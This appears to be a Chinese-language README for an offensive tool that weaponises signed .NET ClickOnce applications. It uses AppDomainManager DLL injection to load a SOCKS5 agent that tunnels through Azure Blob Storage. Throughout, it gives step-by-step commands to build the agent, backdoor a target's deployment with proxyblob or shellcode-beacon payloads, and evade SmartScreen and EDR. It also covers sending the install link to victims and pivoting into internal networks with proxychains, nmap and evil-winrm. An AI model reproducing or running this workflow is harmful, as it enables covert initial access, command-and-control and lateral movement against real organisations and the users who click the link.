
通过 AppDomainManager 注入劫持依赖 DLL 并加载 C# 移植的 ProxyBlob Agent,将已签名的 .NET ClickOnce 应用程序武器化,用于初始访问。附带 ProxyBlob 的 C# 移植版本——一种通过 Azure Blob Storage 隧道传输所有流量的 SOCKS5 代理,可融入 *.blob.core.windows.net 被列入白名单的环境中。
ClickOnce 是微软针对 .NET 应用程序的一键部署技术。当用户点击 .application URL 时,Windows 会下载并运行该应用程序,无需管理员权限。攻击流程:
.exe.config,告诉 CLR 将我们的 DLL 作为 AppDomainManager 加载宿主 .exe 保持原样且签名有效。SmartScreen 将其视为已知二进制文件。EDR 看到受信任的进程加载模块。你的代理仅通过 HTTPS 与 Azure Blob Storage 通信。
├── clickonce_backdoor.py # 将 ProxyBlob Agent DLL 后门注入 ClickOnce 应用的主脚本
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL 载荷 (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # 独立的 Proxyblob 控制台代理(用于测试)
│ ├── ShellcodeLoader.cs # 替代:shellcode 加载器载荷
│ └── MessageBoxPoC.cs # PoC:消息框(验证注入是否生效)
└── README.md
攻击机 (Linux/macOS):
构建机器 (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe(自动检测)nuget.exe 放在脚本旁边或加入 PATH(仅 --proxyblob 模式需要)脚本会自动检测 csc.exe 和 nuget.exe。对于 --proxyblob,首次运行时 BouncyCastle 和 ILMerge 将通过 NuGet 自动安装到脚本旁边的 packages/ 目录中(跨运行持久化)。
代理代码与架构无关(无 P/Invoke,无 shellcode)。--platform 标志(传递给 csc.exe /platform:)控制 CLR 如何加载它:
--platform | 在 x86 Windows 上运行 | 在 x64 Windows 上运行 | 使用场景 |
|---|---|---|---|
x86 (默认) | 32位 | 32位 (WoW64) | 目标应用为 x86 |
x64 | ✗ | 64位 | 目标应用为 x64 |
anycpu | 32位 | 64位 | 独立测试,或目标为 AnyCPU |
使用 corflags.exe TargetApp.exe 检查目标应用以确定其平台。
# 创建存储帐户
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# 获取密钥
az storage account keys list --account-name yourblobaccount --output table
或本地使用 Azurite:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
在代理 shell 中:
proxyblob » create
[+] 已创建容器: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] 连接字符串: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

保存该连接字符串——它将被写入代理中。
在集成到 ClickOnce 之前,始终先验证代理能否独立工作。
在 Windows 构建机上:
# 编译
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge 为单个 exe(以便嵌入 BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# 运行
Agent.exe <connection-string>
回到代理端:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 代理正在 127.0.0.1:1080 上监听
测试:
proxychains curl http://ipconfig.io
如果正常工作,则继续 ClickOnce 集成。
在侦察阶段寻找目标 ClickOnce 应用(搜索 .application URL)。你需要:
下载整个 ClickOnce 部署:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

脚本会自动编译 C# 源代码、处理 NuGet 依赖(针对 --proxyblob)、将 BouncyCastle ILMerge 到 DLL 中,并修补所有清单——全部在单次运行中完成:

# ProxyBlob 模式 — 自动编译、自动安装 NuGet 包、自动合并
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC 模式 — 快速验证注入是否生效
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode 模式
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 目标应用
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

脚本处理:生成嵌入了你设置的 C# 源代码,通过 csc.exe 编译,ILMerge BouncyCastle(针对 --proxyblob),替换 DLL,创建带有 AppDomainManager 注入的 .exe.config,将两个文件添加到清单,重新计算所有 SHA256 哈希和文件大小,剥离代码签名,清零厂商 publicKeyToken,并更新部署提供程序 URL。
手动覆盖: 你仍可使用 --payload 提供预编译的 DLL(跳过编译):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge 程序集名称陷阱: ILMerge 根据输出文件名设置内部程序集名称,而非输入文件。如果合并为
Foo_merged.dll,然后将文件重命名为Foo.dll,内部名称仍然是Foo_merged——CLR 读取元数据而非文件名。.exe.config将不匹配,AppDomainManager 注入将静默失败,无任何错误。脚本通过直接 ILMerge 到最终名称正确处理了这一点。
# 内置服务器,带有正确的 MIME 类型和缓存头
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

或使用任何配置了以下 MIME 类型的 Web 服务器:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
向受害者发送:http://YOUR-SERVER/APPLICATION.application
他们点击“安装”→ 应用运行 → 你的 SOCKS5 隧道打开。

# 在代理机上
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 位于 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



| 错误 | 修复 |
|---|---|
csc.exe not found | 安装 .NET Framework 4.x 或将 csc.exe 加入 PATH |
nuget.exe not found | 从 nuget.org 下载,放在脚本旁边或加入 PATH |
CS0012: type 'Object' ... netstandard | 在 csc 命令中添加 /r:netstandard.dll |
Metadata file ... net461 ... not found | 使用 netstandard2.0 版本的 BouncyCastle 路径 |